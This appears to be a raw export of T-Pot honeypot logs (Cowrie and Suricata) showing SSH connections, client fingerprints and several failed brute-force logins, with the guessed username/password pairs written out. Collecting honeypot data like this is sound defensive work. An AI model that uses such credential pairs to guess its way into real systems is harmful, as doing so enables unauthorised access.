21558	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:54.631753+03	2021-09-20 14:15:03.815613+03	{"_id": "DgbjAnwBvYTbRNuELgQO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c34f38c05d42", "@version": "1", "timestamp": "2021-09-20T11:06:54.631753Z", "@timestamp": "2021-09-20T11:06:54.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21559	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:55.049818+03	2021-09-20 14:15:03.816612+03	{"_id": "DwbjAnwBvYTbRNuELgQO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "43fb8879e29f", "@version": "1", "duration": 2.6735548973083496, "timestamp": "2021-09-20T11:06:55.049818Z", "@timestamp": "2021-09-20T11:06:55.049Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21560	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:56.30453+03	2021-09-20 14:15:03.818614+03	{"_id": "gwbjAnwBvYTbRNuENAR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2112868011965500, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47146, "dest_port": 22, "timestamp": "2021-09-20T11:06:56.304530Z", "@timestamp": "2021-09-20T11:06:56.304Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21561	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:56.568735+03	2021-09-20 14:15:03.819612+03	{"_id": "igbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f86d8dbebc6a", "@version": "1", "duration": 2.82942271232605, "timestamp": "2021-09-20T11:06:56.568735Z", "@timestamp": "2021-09-20T11:06:56.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21562	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:56.394648+03	2021-09-20 14:15:03.820614+03	{"_id": "qgbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [userftp/userftp] failed", "session": "6b231ad97296", "@version": "1", "password": "userftp", "username": "userftp", "timestamp": "2021-09-20T11:06:56.394648Z", "@timestamp": "2021-09-20T11:06:56.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21627	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:34.780306+03	2021-09-20 14:15:03.902612+03	{"_id": "JgbiAnwBvYTbRNuE3wBl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f63db593bb98", "@version": "1", "duration": 2.3808579444885254, "timestamp": "2021-09-20T11:06:34.780306Z", "@timestamp": "2021-09-20T11:06:34.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21563	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.010244+03	2021-09-20 14:15:03.821612+03	{"_id": "jAbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [philippe/philippe] failed", "session": "204e4ebdbd75", "@version": "1", "password": "philippe", "username": "philippe", "timestamp": "2021-09-20T11:06:57.010244Z", "@timestamp": "2021-09-20T11:06:57.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21564	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:56.719076+03	2021-09-20 14:15:03.822612+03	{"_id": "lQbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [guest/123123] failed", "session": "2af10c41b284", "@version": "1", "password": "123123", "username": "guest", "timestamp": "2021-09-20T11:06:56.719076Z", "@timestamp": "2021-09-20T11:06:56.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21565	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:56.893193+03	2021-09-20 14:15:03.823613+03	{"_id": "lwbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c34f38c05d42", "@version": "1", "duration": 2.547805070877075, "timestamp": "2021-09-20T11:06:56.893193Z", "@timestamp": "2021-09-20T11:06:56.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21566	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:57.082372+03	2021-09-20 14:15:03.824614+03	{"_id": "rgbjAnwBvYTbRNuENQTh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "28bf660714c4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:57.082372Z", "@timestamp": "2021-09-20T11:06:57.082Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21567	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:32.287501+03	2021-09-20 14:15:03.825612+03	{"_id": "nwXiAnwBvYTbRNuE1v-h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 580966992523447, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38610, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.287501Z", "@timestamp": "2021-09-20T11:06:32.287Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21568	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:32.614327+03	2021-09-20 14:15:03.827613+03	{"_id": "nQXiAnwBvYTbRNuE1v-h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 525379378400103, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50022, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.614327Z", "@timestamp": "2021-09-20T11:06:32.614Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21570	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:32.954271+03	2021-09-20 14:15:03.829612+03	{"_id": "ogXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:36622 (192.168.176.2:22) [session: 5ea87880955a]", "session": "5ea87880955a", "@version": "1", "protocol": "ssh", "src_port": 36622, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.954271Z", "@timestamp": "2021-09-20T11:06:32.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21571	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:32.827738+03	2021-09-20 14:15:03.831613+03	{"_id": "rAXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:35148 (192.168.176.2:22) [session: 21a203a507ae]", "session": "21a203a507ae", "@version": "1", "protocol": "ssh", "src_port": 35148, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.827738Z", "@timestamp": "2021-09-20T11:06:32.827Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21572	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.904073+03	2021-09-20 14:15:03.832612+03	{"_id": "rQXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40388 (192.168.176.2:22) [session: a4b02130aa8b]", "session": "a4b02130aa8b", "@version": "1", "protocol": "ssh", "src_port": 40388, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.904073Z", "@timestamp": "2021-09-20T11:06:32.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21573	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:32.322798+03	2021-09-20 14:15:03.833613+03	{"_id": "owXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "223.241.247.214", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5869264602661133, "duplicate": true, "timestamp": "2021-09-20T11:06:32.322798Z", "@timestamp": "2021-09-20T11:06:32.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21574	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.466968+03	2021-09-20 14:15:03.834612+03	{"_id": "sAXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "451e62234b8a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:32.466968Z", "@timestamp": "2021-09-20T11:06:32.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21575	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.904777+03	2021-09-20 14:15:03.835612+03	{"_id": "pwXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a4b02130aa8b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:32.904777Z", "@timestamp": "2021-09-20T11:06:32.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21576	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:33.255844+03	2021-09-20 14:15:03.836613+03	{"_id": "3gXiAnwBvYTbRNuE2v-L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 311165736999982, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 36622, "dest_port": 22, "timestamp": "2021-09-20T11:06:33.255844Z", "@timestamp": "2021-09-20T11:06:33.255Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21577	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:34.098961+03	2021-09-20 14:15:03.837612+03	{"_id": "4QXiAnwBvYTbRNuE2_9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:33230 (192.168.176.2:22) [session: 1669e686d455]", "session": "1669e686d455", "@version": "1", "protocol": "ssh", "src_port": 33230, "dest_port": 22, "timestamp": "2021-09-20T11:06:34.098961Z", "@timestamp": "2021-09-20T11:06:34.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
